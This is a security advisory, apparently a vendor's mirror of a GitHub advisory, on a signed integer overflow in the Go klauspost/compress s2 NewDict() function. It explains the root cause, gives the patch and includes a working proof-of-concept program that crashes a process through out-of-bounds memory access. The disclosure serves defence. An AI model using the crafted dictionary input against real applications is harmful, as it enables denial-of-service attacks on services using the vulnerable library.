
Loading

Loading
We use strictly necessary cookies to run this site, and analytics cookies to understand how it's used. See our Privacy Policy for details.
A GitHub-reviewed security advisory, not necessarily under active exploitation the way our CISA KEV advisories are, but a real, disclosed vulnerability in an open-source dependency.
Affected packages
Vulnerable: <= 1.18.6
Patched in 1.18.7
Details
A signed integer overflow vulnerability in s2.NewDict() allows an attacker to bypass repeat index validation by supplying a dictionary with a uvarint-encoded repeat value exceeding MaxInt64. When Dict.Encode() is subsequently called, the overflowed negative repeat value causes an out-of-bounds memory access via unsafe.Pointer arithmetic, crashing the process with SIGSEGV.
github.com/klauspost/compress/s2NewDict function)High (7.5) — CVSS v3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
The NewDict() function reads a uvarint from dictionary data and converts it to int:
r, n := binary.Uvarint(dict)
// ...
d.repeat = int(r)
if d.repeat > len(dict) {
return nil
}
When r exceeds MaxInt64 (9223372036854775807), int(r) overflows to a negative value. Since a negative number is never greater than a positive length, the validation check is bypassed.
When Dict.Encode() is called, the negative repeat value causes an integer overflow in encodeBlockDictGo():
repeat := len(dict.dict) - dict.repeat // overflows: 62 - (-5758978476775341977) = huge positive
candidate := len(dict.dict) - repeat + s // underflows to negative
load32(dict.dict, candidate) // OOB via unsafe.Pointer
load32 calls le.Load32 which uses unsafe.Pointer arithmetic without bounds checking:
func Load32[I Indexer](b []byte, i I) uint32 {
return *(*uint32)(unsafe.Add(unsafe.Pointer(unsafe.SliceData(b)), i))
}
This causes a segmentation fault (SIGSEGV) when the negative index is dereferenced.
package main
import (
"encoding/binary"
"fmt"
"github.com/klauspost/compress/s2"
)
func main() {
var dictData []byte
buf := make([]byte, binary.MaxVarintLen64)
n := binary.PutUvarint(buf, 12687765596934209639) // > MaxInt64
dictData = append(dictData, buf[:n]...)
dictData = append(dictData, make([]byte, 16)...) // minimum dict size
dict := s2.NewDict(dictData)
// dict is non-nil despite invalid repeat value (overflow bypassed validation)
src := make([]byte, 64)
for i := range src { src[i] = byte(i) }
dict.Encode(nil, src) // SIGSEGV: OOB access via unsafe.Pointer
}
Any application that:
s2.NewDict()Dict.Encode() on any data ≥32 bytesValidate the uvarint value before converting to int:
if r > math.MaxInt64 {
return nil
}
d.repeat = int(r)
Or use uint for the repeat field and validate against uint(len(dict)).
s2/dict.go lines 59-61 (vulnerability), s2/encode_all.go line 947 (crash site)Christopher Linke / https://github.com/celinke97/
EPSS, exploit probability
Low0.36%
estimated chance of real-world exploitation in the next 30 days, higher than 28.9% of every CVE FIRST.org scores
Refreshed 10/20/2026, via FIRST.org's EPSS model, not CVSS, this measures likelihood of exploitation, not how severe it would be.
Talk to us about this
Find out whether this dependency (or others like it) is actually reachable in your codebase.
Get help patching, or building dependency-scanning into your pipeline going forward.
A secure code review or supply chain review finds this before an advisory does.